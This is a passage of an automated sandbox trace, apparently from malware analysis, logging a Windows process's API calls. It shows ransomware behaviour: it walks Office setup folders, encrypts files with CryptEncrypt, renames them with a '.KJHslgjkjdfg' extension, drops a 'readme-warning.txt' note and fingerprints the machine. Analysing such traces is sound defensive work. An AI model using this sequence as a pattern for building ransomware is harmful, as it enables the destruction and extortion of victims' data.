lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0165.718] WriteFile (in: hFile=0x114, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0165.718] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0165.718] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0165.718] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0165.718] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0165.718] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.719] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x648, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x648, lpOverlapped=0x0) returned 1 [0165.719] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x650, dwBufLen=0x650 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x650) returned 1 [0165.719] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.722] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x650, lpOverlapped=0x0) returned 1 [0165.723] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0165.723] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.723] SetEndOfFile (hFile=0x114) returned 1 [0165.764] GetProcessHeap () returned 0x990000 [0165.764] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0165.764] GetProcessHeap () returned 0x990000 [0165.764] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0165.764] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0165.766] CloseHandle (hObject=0x114) returned 1 [0165.767] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0165.767] GetProcessHeap () returned 0x990000 [0165.767] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0165.767] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0165.767] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29deb98 | out: pbData=0x9af7b0, pdwDataLen=0x29deb98) returned 1 [0165.767] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0165.767] GetProcessHeap () returned 0x990000 [0165.767] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0165.767] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0165.767] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29deb98 | out: pbData=0x9af7f8, pdwDataLen=0x29deb98) returned 1 [0165.767] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0165.767] GetProcessHeap () returned 0x990000 [0165.767] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f9760 [0165.767] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0165.767] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f9760, pdwDataLen=0x29deb98 | out: pbData=0x9f9760, pdwDataLen=0x29deb98) returned 1 [0165.768] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0165.768] GetProcessHeap () returned 0x990000 [0165.768] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0165.768] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0165.768] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29de778 | out: pbData=0x9af840, pdwDataLen=0x29de778) returned 1 [0165.768] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0165.768] GetProcessHeap () returned 0x990000 [0165.768] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0165.768] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0165.768] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de778 | out: pbData=0x9b18c8, pdwDataLen=0x29de778) returned 1 [0165.768] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0165.768] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de774 | out: phkResult=0x29de774*=0x114) returned 0x0 [0165.768] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29de780, lpcbData=0x29de77c*=0x400 | out: lpType=0x0, lpData=0x29de780*=0x30, lpcbData=0x29de77c*=0x18) returned 0x0 [0165.772] RegCloseKey (hKey=0x114) returned 0x0 [0165.772] GetProcessHeap () returned 0x990000 [0165.772] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0165.772] GetProcessHeap () returned 0x990000 [0165.772] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0165.772] GetProcessHeap () returned 0x990000 [0165.772] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0165.772] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0165.772] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de54c | out: pbData=0x9b18c8, pdwDataLen=0x29de54c) returned 1 [0165.772] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0165.772] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0165.772] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0165.773] GetProcessHeap () returned 0x990000 [0165.773] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0165.773] wsprintfA (in: param_1=0x29de797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0165.773] wsprintfA (in: param_1=0x29deba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0165.773] GetProcessHeap () returned 0x990000 [0165.773] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9f9b28 [0165.773] wsprintfW (in: param_1=0x29ddb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\readme-warning.txt") returned 114 [0165.773] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0165.776] WriteFile (in: hFile=0x114, lpBuffer=0x9f9b28*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29ddb70, lpOverlapped=0x0 | out: lpBuffer=0x9f9b28*, lpNumberOfBytesWritten=0x29ddb70*=0x3b3, lpOverlapped=0x0) returned 1 [0165.777] CloseHandle (hObject=0x114) returned 1 [0165.778] GetProcessHeap () returned 0x990000 [0165.778] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0165.778] GetProcessHeap () returned 0x990000 [0165.778] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9b28 | out: hHeap=0x990000) returned 1 [0165.778] GetProcessHeap () returned 0x990000 [0165.778] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0165.778] GetProcessHeap () returned 0x990000 [0165.778] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0165.778] FindClose (in: hFindFile=0x9b6668 | out: hFindFile=0x9b6668) returned 1 [0165.778] GetProcessHeap () returned 0x990000 [0165.778] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7e10 | out: hHeap=0x990000) returned 1 [0165.778] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cba0700, ftCreationTime.dwHighDateTime=0x1cb7664, ftLastAccessTime.dwLowDateTime=0xd78c2600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8cba0700, ftLastWriteTime.dwHighDateTime=0x1cb7664, nFileSizeHigh=0x0, nFileSizeLow=0x150378, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0165.778] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="Visio.en-us", cAlternateFileName="VISIO~1.EN-")) returned 1 [0165.778] GetProcessHeap () returned 0x990000 [0165.778] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xc8) returned 0x9b2468 [0165.778] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*.*", lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName=".", cAlternateFileName="")) returned 0x9b6668 [0165.780] GetProcessHeap () returned 0x990000 [0165.780] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0165.780] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="..", cAlternateFileName="")) returned 1 [0165.780] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43bdc500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0165.780] GetProcessHeap () returned 0x990000 [0165.780] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2ca) returned 0x9b7e10 [0165.780] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0165.781] GetProcessHeap () returned 0x990000 [0165.781] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0165.781] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0165.781] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0165.781] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0xf, lpOverlapped=0x0) returned 1 [0165.784] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0165.784] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0165.784] GetProcessHeap () returned 0x990000 [0165.784] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0165.784] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30) returned 1 [0165.784] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0165.784] WriteFile (in: hFile=0x114, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29ded60*=0x30, lpOverlapped=0x0) returned 1 [0165.784] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0165.784] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0165.784] WriteFile (in: hFile=0x114, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0165.784] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0165.784] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0165.784] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0165.785] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0165.785] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.785] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1861, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x1861, lpOverlapped=0x0) returned 1 [0165.803] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x1870, dwBufLen=0x1870 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x1870) returned 1 [0165.803] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.803] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x1870, lpOverlapped=0x0) returned 1 [0165.804] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0165.804] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.804] SetEndOfFile (hFile=0x114) returned 1 [0165.806] GetProcessHeap () returned 0x990000 [0165.806] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0165.806] GetProcessHeap () returned 0x990000 [0165.806] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0165.806] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0165.809] CloseHandle (hObject=0x114) returned 1 [0165.809] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 1 [0165.809] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0165.810] GetProcessHeap () returned 0x990000 [0165.810] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0165.810] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0165.810] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0165.811] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0x1, lpOverlapped=0x0) returned 1 [0165.826] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0165.826] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0165.826] GetProcessHeap () returned 0x990000 [0165.826] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0165.826] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40) returned 1 [0165.826] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0165.826] WriteFile (in: hFile=0x114, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29ded60*=0x40, lpOverlapped=0x0) returned 1 [0165.826] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0165.826] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0165.826] WriteFile (in: hFile=0x114, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0165.827] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0165.827] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0165.827] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0165.827] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0165.827] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.827] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x251f, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x251f, lpOverlapped=0x0) returned 1 [0165.841] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x2520, dwBufLen=0x2520 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x2520) returned 1 [0165.841] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.841] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x2520, lpOverlapped=0x0) returned 1 [0165.841] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0165.841] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x25f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.841] SetEndOfFile (hFile=0x114) returned 1 [0165.844] GetProcessHeap () returned 0x990000 [0165.844] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0165.844] GetProcessHeap () returned 0x990000 [0165.844] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0165.844] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 